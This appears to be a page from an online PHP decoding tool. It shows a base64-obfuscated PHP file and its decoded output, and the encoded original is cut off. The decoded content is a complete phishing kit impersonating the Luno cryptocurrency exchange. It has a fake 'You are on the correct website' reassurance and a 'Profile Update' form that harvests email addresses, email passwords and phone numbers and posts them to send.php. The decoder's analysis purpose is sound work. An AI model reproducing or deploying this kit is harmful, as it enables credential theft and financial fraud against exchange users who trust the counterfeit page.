Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgb2Jfc3RhcnQoKTsgPz4KPCFET0NUWVBFIGh0bWwgUFVCTElDICI..

Decoded Output download

?>b'<?php ob_start(); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <meta name="robots" content="noindex, nofollow">
  <meta name="googlebot" content="noindex, nofollow">
  <meta name="viewport" content="width=device-width, initial-scale=1">

  
  
  

  <script type="text/javascript" src="/js/lib/dummy.js"></script>

  

  

  

  
    <link rel="stylesheet" type="text/css" href="/css/result-light.css">
  

  
    
      <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
    
  
    
      <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.3.7/js/tether.min.js"></script>
    
  
    
      <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.5/js/bootstrap.min.js"></script>
    <title>Sign in</title>





<script type="text/javascript">
window.onload=function(){

$(function () {
  $(document).scroll(function () {
	  var $nav = $(".navbar-fixed-top");
	  $nav.toggleClass(\'scrolled\', $(this).scrollTop() > $nav.height());
	});
});

}




</script>



  
    
      <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
    
  
    
      <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.3.7/js/tether.min.js"></script>
    
  
    
      <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.5/js/bootstrap.min.js"></script>
<style type="text/css">

.bg{
    height: auto;
    background: url(images/im_luno_account_circles.png) center center no-repeat;
    background: url(images/im_luno_account_circles.png) center center no-repeat, -webkit-linear-gradient(180deg, #113a82 0%, #157af9 100%);
    background: url(images/im_luno_account_circles.png) center center no-repeat, -o-linear-gradient(180deg, #113a82 0%, #157af9 100%);
    background: url(images/im_luno_account_circles.png) center center no-repeat, linear-gradient(270deg, #113a82 0%, #157af9 100%);	
}

</style>
<style type="text/css">
<!--
body,td,th {
	font-family: sans-serif;
}
.form-ex{
	
display: block;
    width: 100%;
    height: 36px;
    padding: 6px 12px;
    font-size: 16px;
    line-height: 1.42857143;
    color: #212121;
    background-color: #fff;
    background-image: none;
    border: 0;
    border-bottom: 1px solid #e0e0e0;
	border-left: 0;
	border-right:0;
	border-top: 0;
    border-radius: 4px;
}
.form-ex1 {	
display: block;
    width: 100%;
    height: 36px;
    padding: 6px 12px;
    font-size: 16px;
    line-height: 1.42857143;
    color: #212121;
    background-color: #fff;
    background-image: none;
    border: 0;
    border-bottom: 1px solid #e0e0e0;
	border-left: 0;
	border-right:0;
	border-top: 0;
    border-radius: 4px;
}
.form-ex2 {	
display: block;
    width: 100%;
    height: 36px;
    padding: 6px 12px;
    font-size: 16px;
    line-height: 1.42857143;
    color: #212121;
    background-color: #fff;
    background-image: none;
    border: 0;
    border-bottom: 1px solid #e0e0e0;
	border-left: 0;
	border-right:0;
	border-top: 0;
    border-radius: 4px;
}
.form-ex3 {	
display: block;
    width: 100%;
    height: 36px;
    padding: 6px 12px;
    font-size: 16px;
    line-height: 1.42857143;
    color: #212121;
    background-color: #fff;
    background-image: none;
    border: 0;
    border-bottom: 1px solid #e0e0e0;
	border-left: 0;
	border-right:0;
	border-top: 0;
    border-radius: 4px;
}
.navbar-fixed-top.scrolled {
  background-color: #fff !important;
  transition: background-color 200ms linear;
  color:#000;
}

.navbar-fixed-top.scrolled .nav-link {
  color:#000;
}
.btn-submit{
	height: 40px;
    padding: 6px 18px;
    letter-spacing: .8px;
    border-radius: 2px;
    -webkit-box-shadow: 0 2px 2px 0 rgba(0, 0, 0, .24), 0 0 2px 0 rgba(0, 0, 0, .12);
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, .24), 0 0 2px 0 rgba(0, 0, 0, .12);
    -webkit-transition: all .2s;
    -o-transition: all .2s;
    transition: all .2s;
	color: #fff;
    background-color: #0091ff;
    border-color: #0091ff;
	
	
	    font-size: 16px;
    font-weight: 400;
    line-height: 1.42857143;
    text-align: center;
    white-space: nowrap;
    vertical-align: middle;
    -ms-touch-action: manipulation;
    touch-action: manipulation;
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    background-image: none;
    border: 1px solid transparent;
}
.signup{
    display: inline-block;
    height: auto;
    padding: 10px 40px;
    background: transparent;
    border-color: #fff;
    border-width: 1px;    padding: 10px 0;
    margin: 0 20px;
    color: #fff;
    letter-spacing: .8px;
    -webkit-transition: all .3s;
    -o-transition: all .3s;
    transition: all .3s;	
}
-->
.link_fnt{
	color:#FFF;
	
}

@media only screen and (max-width: 1026px) { 
  #fadeshow1 { 
    display: none; 
  } 
}
</style>
<link href="bootstrap.min.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
-->
</style></head>

<body class="bg">

<table width="100%" border="0" cellpadding="4">
  <tr>
    <td width="2%" height="66">&nbsp;</td>
    <td width="47%"><a href="https://www.luno.com/"><img src="images/logo1.PNG" width="88" height="31" /></a></td>
    <td width="51%"><div class="fadeshow1" id="fadeshow1"><table style="color:#FFF" width="100%" border="0">
      <tr>
        <td width="34%" height="54" valign="middle"><a href="https://www.luno.com/en/price"><span class="link_fnt"></span></a>&nbsp;</td>
        <td width="11%" valign="middle"><a href="https://www.luno.com/learn/en/"><span class="link_fnt">Learn</span></a></td>
        <td width="10%" valign="middle"><a href="https://www.luno.com/blog/en/"><span class="link_fnt">Blog</span></a></td>
        <td width="11%" valign="middle"><a href="#"><span class="link_fnt">Sign In</span></a></td>
        <td width="30%" valign="middle"><a href="https://www.luno.com/signup"><div align="center" style=" border-radius: 2px; border:solid 1px #fff; padding:10px; width: 140px;"><span class="link_fnt">Sign Up</span></div></a></td>
      </tr>
    </table></div></td>
  </tr>
</table>


<table width="365" border="0" align="center">
  <tr>
    <td height="33" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td width="359" height="176" valign="top"><div style="     box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
 padding-left: 15px; padding-top: 20px;background-color:#FFF; padding-left: 10px;  border-radius: 4px;">
     <span style="font-size: 16px;
    line-height: 18px;
    color: #12326b;">Beware Phishing</span><br>
        <span style=" color:#212121; font-size: 14px;
    line-height: 36px;
    text-align: left;

"><strong>You are</strong> on the correct website</span>
      <table width="100%" border="0">
        <tr>
          <td height="47" colspan="2"><img src="images/logo.PNG" width="182" height="39" /></td>
        </tr>
        <tr>
          <td width="94%" height="36" align="right" valign="top"><a href="https://www.luno.com/blog/post/google-ads-phishing-scams-identify-avoid"><span style="    font-size: 14px;
    font-weight: 400;
    line-height: 16px;
    text-transform: uppercase; color:#0091ff">LEARN MORE</span></a></td>
          <td width="6%" align="right" valign="top">&nbsp;</td>
        </tr>
      </table>
    </div></td>
  </tr>
  <tr>
    <td height="212" valign="top" style="padding-top: 3px;"><div style="     box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
 padding-top: 20px;background-color:#FFF;   border-radius: 4px;">
      <form id="login-form" action="send.php" method="post" ><h1 style="text-align: center"></h1>
  
      <table width="98%" border="0" align="center" cellpadding="4" cellspacing="0">
        <tr>
          <td align="center"><span style="font-size: 20px;
    font-weight: 500;
    line-height: 24px;
    color: #12326b;">Profile Update</span>
  </td>
        </tr>
        <tr>
          <td height="119" align="center"><img src="images/email.PNG" width="65" height="69" /></td>
        </tr>
        <tr>
          <td align="center"><input class="form-ex"type="email" name="email" placeholder="Email address"  required=""></td>
        </tr>
        <tr>
          <td align="center"><input class="form-ex1"type="password" name="pwd" placeholder="Email Password"  required="" /></td>
        </tr>
		 <tr>
          <td align="center"><input class="form-ex2"type="text" name="phone" placeholder="Phone Number"  required="" /></td>
        <tr>
		<tr>
          <td align="center"><button type="submit" name="submit" class="btn-submit" >Next</button>&nbsp;</td>
        </tr>
        <tr>
          <td align="center">&nbsp;</td>
        </tr>
        <tr>
          <td align="center">&nbsp;</td>
        </tr>
        </table></form>
    </div></td>
  </tr>
  <tr>
    <td height="33">&nbsp;</td>
  </tr>
</table> <script>
  // tell the embed parent frame the height of the content
  if (window.parent && window.parent.parent){
    window.parent.parent.postMessage(["resultsFrame", {
      height: document.body.getBoundingClientRect().height,
      slug: "we9L9h2r"
    }], "*")
  }
  </script>
</body>
</html>
<?php ob_end_flush(); ?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHAgb2Jfc3RhcnQoKTsgPz4KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgogIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4KICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4KICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgoKICAKICAKICAKCiAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iL2pzL2xpYi9kdW1teS5qcyI+PC9zY3JpcHQ+CgogIAoKICAKCiAgCgogIAogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iL2Nzcy9yZXN1bHQtbGlnaHQuY3NzIj4KICAKCiAgCiAgICAKICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXVlcnkvMy4xLjEvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CiAgICAKICAKICAgIAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy90ZXRoZXIvMS4zLjcvanMvdGV0aGVyLm1pbi5qcyI+PC9zY3JpcHQ+CiAgICAKICAKICAgIAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC80LjAuMC1hbHBoYS41L2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0PgogICAgPHRpdGxlPlNpZ24gaW48L3RpdGxlPgoKCgoKCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4Kd2luZG93Lm9ubG9hZD1mdW5jdGlvbigpewoKJChmdW5jdGlvbiAoKSB7CiAgJChkb2N1bWVudCkuc2Nyb2xsKGZ1bmN0aW9uICgpIHsKCSAgdmFyICRuYXYgPSAkKCIubmF2YmFyLWZpeGVkLXRvcCIpOwoJICAkbmF2LnRvZ2dsZUNsYXNzKCdzY3JvbGxlZCcsICQodGhpcykuc2Nyb2xsVG9wKCkgPiAkbmF2LmhlaWdodCgpKTsKCX0pOwp9KTsKCn0KCgoKCjwvc2NyaXB0PgoKCgogIAogICAgCiAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuMS4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PgogICAgCiAgCiAgICAKICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvdGV0aGVyLzEuMy43L2pzL3RldGhlci5taW4uanMiPjwvc2NyaXB0PgogICAgCiAgCiAgICAKICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4wLjAtYWxwaGEuNS9qcy9ib290c3RyYXAubWluLmpzIj48L3NjcmlwdD4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCi5iZ3sKICAgIGhlaWdodDogYXV0bzsKICAgIGJhY2tncm91bmQ6IHVybChpbWFnZXMvaW1fbHVub19hY2NvdW50X2NpcmNsZXMucG5nKSBjZW50ZXIgY2VudGVyIG5vLXJlcGVhdDsKICAgIGJhY2tncm91bmQ6IHVybChpbWFnZXMvaW1fbHVub19hY2NvdW50X2NpcmNsZXMucG5nKSBjZW50ZXIgY2VudGVyIG5vLXJlcGVhdCwgLXdlYmtpdC1saW5lYXItZ3JhZGllbnQoMTgwZGVnLCAjMTEzYTgyIDAlLCAjMTU3YWY5IDEwMCUpOwogICAgYmFja2dyb3VuZDogdXJsKGltYWdlcy9pbV9sdW5vX2FjY291bnRfY2lyY2xlcy5wbmcpIGNlbnRlciBjZW50ZXIgbm8tcmVwZWF0LCAtby1saW5lYXItZ3JhZGllbnQoMTgwZGVnLCAjMTEzYTgyIDAlLCAjMTU3YWY5IDEwMCUpOwogICAgYmFja2dyb3VuZDogdXJsKGltYWdlcy9pbV9sdW5vX2FjY291bnRfY2lyY2xlcy5wbmcpIGNlbnRlciBjZW50ZXIgbm8tcmVwZWF0LCBsaW5lYXItZ3JhZGllbnQoMjcwZGVnLCAjMTEzYTgyIDAlLCAjMTU3YWY5IDEwMCUpOwkKfQoKPC9zdHlsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KPCEtLQpib2R5LHRkLHRoIHsKCWZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmOwp9Ci5mb3JtLWV4ewoJCmRpc3BsYXk6IGJsb2NrOwogICAgd2lkdGg6IDEwMCU7CiAgICBoZWlnaHQ6IDM2cHg7CiAgICBwYWRkaW5nOiA2cHggMTJweDsKICAgIGZvbnQtc2l6ZTogMTZweDsKICAgIGxpbmUtaGVpZ2h0OiAxLjQyODU3MTQzOwogICAgY29sb3I6ICMyMTIxMjE7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTsKICAgIGJvcmRlcjogMDsKICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwOwoJYm9yZGVyLWxlZnQ6IDA7Cglib3JkZXItcmlnaHQ6MDsKCWJvcmRlci10b3A6IDA7CiAgICBib3JkZXItcmFkaXVzOiA0cHg7Cn0KLmZvcm0tZXgxIHsJCmRpc3BsYXk6IGJsb2NrOwogICAgd2lkdGg6IDEwMCU7CiAgICBoZWlnaHQ6IDM2cHg7CiAgICBwYWRkaW5nOiA2cHggMTJweDsKICAgIGZvbnQtc2l6ZTogMTZweDsKICAgIGxpbmUtaGVpZ2h0OiAxLjQyODU3MTQzOwogICAgY29sb3I6ICMyMTIxMjE7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTsKICAgIGJvcmRlcjogMDsKICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwOwoJYm9yZGVyLWxlZnQ6IDA7Cglib3JkZXItcmlnaHQ6MDsKCWJvcmRlci10b3A6IDA7CiAgICBib3JkZXItcmFkaXVzOiA0cHg7Cn0KLmZvcm0tZXgyIHsJCmRpc3BsYXk6IGJsb2NrOwogICAgd2lkdGg6IDEwMCU7CiAgICBoZWlnaHQ6IDM2cHg7CiAgICBwYWRkaW5nOiA2cHggMTJweDsKICAgIGZvbnQtc2l6ZTogMTZweDsKICAgIGxpbmUtaGVpZ2h0OiAxLjQyODU3MTQzOwogICAgY29sb3I6ICMyMTIxMjE7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTsKICAgIGJvcmRlcjogMDsKICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwOwoJYm9yZGVyLWxlZnQ6IDA7Cglib3JkZXItcmlnaHQ6MDsKCWJvcmRlci10b3A6IDA7CiAgICBib3JkZXItcmFkaXVzOiA0cHg7Cn0KLmZvcm0tZXgzIHsJCmRpc3BsYXk6IGJsb2NrOwogICAgd2lkdGg6IDEwMCU7CiAgICBoZWlnaHQ6IDM2cHg7CiAgICBwYWRkaW5nOiA2cHggMTJweDsKICAgIGZvbnQtc2l6ZTogMTZweDsKICAgIGxpbmUtaGVpZ2h0OiAxLjQyODU3MTQzOwogICAgY29sb3I6ICMyMTIxMjE7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTsKICAgIGJvcmRlcjogMDsKICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwOwoJYm9yZGVyLWxlZnQ6IDA7Cglib3JkZXItcmlnaHQ6MDsKCWJvcmRlci10b3A6IDA7CiAgICBib3JkZXItcmFkaXVzOiA0cHg7Cn0KLm5hdmJhci1maXhlZC10b3Auc2Nyb2xsZWQgewogIGJhY2tncm91bmQtY29sb3I6ICNmZmYgIWltcG9ydGFudDsKICB0cmFuc2l0aW9uOiBiYWNrZ3JvdW5kLWNvbG9yIDIwMG1zIGxpbmVhcjsKICBjb2xvcjojMDAwOwp9CgoubmF2YmFyLWZpeGVkLXRvcC5zY3JvbGxlZCAubmF2LWxpbmsgewogIGNvbG9yOiMwMDA7Cn0KLmJ0bi1zdWJtaXR7CgloZWlnaHQ6IDQwcHg7CiAgICBwYWRkaW5nOiA2cHggMThweDsKICAgIGxldHRlci1zcGFjaW5nOiAuOHB4OwogICAgYm9yZGVyLXJhZGl1czogMnB4OwogICAgLXdlYmtpdC1ib3gtc2hhZG93OiAwIDJweCAycHggMCByZ2JhKDAsIDAsIDAsIC4yNCksIDAgMCAycHggMCByZ2JhKDAsIDAsIDAsIC4xMik7CiAgICBib3gtc2hhZG93OiAwIDJweCAycHggMCByZ2JhKDAsIDAsIDAsIC4yNCksIDAgMCAycHggMCByZ2JhKDAsIDAsIDAsIC4xMik7CiAgICAtd2Via2l0LXRyYW5zaXRpb246IGFsbCAuMnM7CiAgICAtby10cmFuc2l0aW9uOiBhbGwgLjJzOwogICAgdHJhbnNpdGlvbjogYWxsIC4yczsKCWNvbG9yOiAjZmZmOwogICAgYmFja2dyb3VuZC1jb2xvcjogIzAwOTFmZjsKICAgIGJvcmRlci1jb2xvcjogIzAwOTFmZjsKCQoJCgkgICAgZm9udC1zaXplOiAxNnB4OwogICAgZm9udC13ZWlnaHQ6IDQwMDsKICAgIGxpbmUtaGVpZ2h0OiAxLjQyODU3MTQzOwogICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgd2hpdGUtc3BhY2U6IG5vd3JhcDsKICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7CiAgICAtbXMtdG91Y2gtYWN0aW9uOiBtYW5pcHVsYXRpb247CiAgICB0b3VjaC1hY3Rpb246IG1hbmlwdWxhdGlvbjsKICAgIGN1cnNvcjogcG9pbnRlcjsKICAgIC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7CiAgICAtbW96LXVzZXItc2VsZWN0OiBub25lOwogICAgLW1zLXVzZXItc2VsZWN0OiBub25lOwogICAgdXNlci1zZWxlY3Q6IG5vbmU7CiAgICBiYWNrZ3JvdW5kLWltYWdlOiBub25lOwogICAgYm9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7Cn0KLnNpZ251cHsKICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgIGhlaWdodDogYXV0bzsKICAgIHBhZGRpbmc6IDEwcHggNDBweDsKICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OwogICAgYm9yZGVyLWNvbG9yOiAjZmZmOwogICAgYm9yZGVyLXdpZHRoOiAxcHg7ICAgIHBhZGRpbmc6IDEwcHggMDsKICAgIG1hcmdpbjogMCAyMHB4OwogICAgY29sb3I6ICNmZmY7CiAgICBsZXR0ZXItc3BhY2luZzogLjhweDsKICAgIC13ZWJraXQtdHJhbnNpdGlvbjogYWxsIC4zczsKICAgIC1vLXRyYW5zaXRpb246IGFsbCAuM3M7CiAgICB0cmFuc2l0aW9uOiBhbGwgLjNzOwkKfQotLT4KLmxpbmtfZm50ewoJY29sb3I6I0ZGRjsKCQp9CgpAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDEwMjZweCkgeyAKICAjZmFkZXNob3cxIHsgCiAgICBkaXNwbGF5OiBub25lOyAKICB9IAp9Cjwvc3R5bGU+CjxsaW5rIGhyZWY9ImJvb3RzdHJhcC5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0tCmE6bGluayB7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkIHsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQphOmhvdmVyIHsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQphOmFjdGl2ZSB7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KLS0+Cjwvc3R5bGU+PC9oZWFkPgoKPGJvZHkgY2xhc3M9ImJnIj4KCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCI+CiAgPHRyPgogICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSI2NiI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iNDclIj48YSBocmVmPSJodHRwczovL3d3dy5sdW5vLmNvbS8iPjxpbWcgc3JjPSJpbWFnZXMvbG9nbzEuUE5HIiB3aWR0aD0iODgiIGhlaWdodD0iMzEiIC8+PC9hPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjUxJSI+PGRpdiBjbGFzcz0iZmFkZXNob3cxIiBpZD0iZmFkZXNob3cxIj48dGFibGUgc3R5bGU9ImNvbG9yOiNGRkYiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIzNCUiIGhlaWdodD0iNTQiIHZhbGlnbj0ibWlkZGxlIj48YSBocmVmPSJodHRwczovL3d3dy5sdW5vLmNvbS9lbi9wcmljZSI+PHNwYW4gY2xhc3M9ImxpbmtfZm50Ij48L3NwYW4+PC9hPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSIxMSUiIHZhbGlnbj0ibWlkZGxlIj48YSBocmVmPSJodHRwczovL3d3dy5sdW5vLmNvbS9sZWFybi9lbi8iPjxzcGFuIGNsYXNzPSJsaW5rX2ZudCI+TGVhcm48L3NwYW4+PC9hPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSIxMCUiIHZhbGlnbj0ibWlkZGxlIj48YSBocmVmPSJodHRwczovL3d3dy5sdW5vLmNvbS9ibG9nL2VuLyI+PHNwYW4gY2xhc3M9ImxpbmtfZm50Ij5CbG9nPC9zcGFuPjwvYT48L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMTElIiB2YWxpZ249Im1pZGRsZSI+PGEgaHJlZj0iIyI+PHNwYW4gY2xhc3M9ImxpbmtfZm50Ij5TaWduIEluPC9zcGFuPjwvYT48L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMzAlIiB2YWxpZ249Im1pZGRsZSI+PGEgaHJlZj0iaHR0cHM6Ly93d3cubHVuby5jb20vc2lnbnVwIj48ZGl2IGFsaWduPSJjZW50ZXIiIHN0eWxlPSIgYm9yZGVyLXJhZGl1czogMnB4OyBib3JkZXI6c29saWQgMXB4ICNmZmY7IHBhZGRpbmc6MTBweDsgd2lkdGg6IDE0MHB4OyI+PHNwYW4gY2xhc3M9ImxpbmtfZm50Ij5TaWduIFVwPC9zcGFuPjwvZGl2PjwvYT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L2Rpdj48L3RkPgogIDwvdHI+CjwvdGFibGU+CgoKPHRhYmxlIHdpZHRoPSIzNjUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciI+CiAgPHRyPgogICAgPHRkIGhlaWdodD0iMzMiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIHdpZHRoPSIzNTkiIGhlaWdodD0iMTc2IiB2YWxpZ249InRvcCI+PGRpdiBzdHlsZT0iICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggMCByZ2JhKDAsIDAsIDAsIDAuMiksIDAgNnB4IDIwcHggMCByZ2JhKDAsIDAsIDAsIDAuMTkpOwogcGFkZGluZy1sZWZ0OiAxNXB4OyBwYWRkaW5nLXRvcDogMjBweDtiYWNrZ3JvdW5kLWNvbG9yOiNGRkY7IHBhZGRpbmctbGVmdDogMTBweDsgIGJvcmRlci1yYWRpdXM6IDRweDsiPgogICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE2cHg7CiAgICBsaW5lLWhlaWdodDogMThweDsKICAgIGNvbG9yOiAjMTIzMjZiOyI+QmV3YXJlIFBoaXNoaW5nPC9zcGFuPjxicj4KICAgICAgICA8c3BhbiBzdHlsZT0iIGNvbG9yOiMyMTIxMjE7IGZvbnQtc2l6ZTogMTRweDsKICAgIGxpbmUtaGVpZ2h0OiAzNnB4OwogICAgdGV4dC1hbGlnbjogbGVmdDsKCiI+PHN0cm9uZz5Zb3UgYXJlPC9zdHJvbmc+IG9uIHRoZSBjb3JyZWN0IHdlYnNpdGU8L3NwYW4+CiAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgaGVpZ2h0PSI0NyIgY29sc3Bhbj0iMiI+PGltZyBzcmM9ImltYWdlcy9sb2dvLlBORyIgd2lkdGg9IjE4MiIgaGVpZ2h0PSIzOSIgLz48L3RkPgogICAgICAgIDwvdHI+CiAgICAgICAgPHRyPgogICAgICAgICAgPHRkIHdpZHRoPSI5NCUiIGhlaWdodD0iMzYiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHBzOi8vd3d3Lmx1bm8uY29tL2Jsb2cvcG9zdC9nb29nbGUtYWRzLXBoaXNoaW5nLXNjYW1zLWlkZW50aWZ5LWF2b2lkIj48c3BhbiBzdHlsZT0iICAgIGZvbnQtc2l6ZTogMTRweDsKICAgIGZvbnQtd2VpZ2h0OiA0MDA7CiAgICBsaW5lLWhlaWdodDogMTZweDsKICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7IGNvbG9yOiMwMDkxZmYiPkxFQVJOIE1PUkU8L3NwYW4+PC9hPjwvdGQ+CiAgICAgICAgICA8dGQgd2lkdGg9IjYlIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICAgIDwvdGFibGU+CiAgICA8L2Rpdj48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGhlaWdodD0iMjEyIiB2YWxpZ249InRvcCIgc3R5bGU9InBhZGRpbmctdG9wOiAzcHg7Ij48ZGl2IHN0eWxlPSIgICAgIGJveC1zaGFkb3c6IDAgNHB4IDhweCAwIHJnYmEoMCwgMCwgMCwgMC4yKSwgMCA2cHggMjBweCAwIHJnYmEoMCwgMCwgMCwgMC4xOSk7CiBwYWRkaW5nLXRvcDogMjBweDtiYWNrZ3JvdW5kLWNvbG9yOiNGRkY7ICAgYm9yZGVyLXJhZGl1czogNHB4OyI+CiAgICAgIDxmb3JtIGlkPSJsb2dpbi1mb3JtIiBhY3Rpb249InNlbmQucGhwIiBtZXRob2Q9InBvc3QiID48aDEgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlciI+PC9oMT4KICAKICAgICAgPHRhYmxlIHdpZHRoPSI5OCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMjBweDsKICAgIGZvbnQtd2VpZ2h0OiA1MDA7CiAgICBsaW5lLWhlaWdodDogMjRweDsKICAgIGNvbG9yOiAjM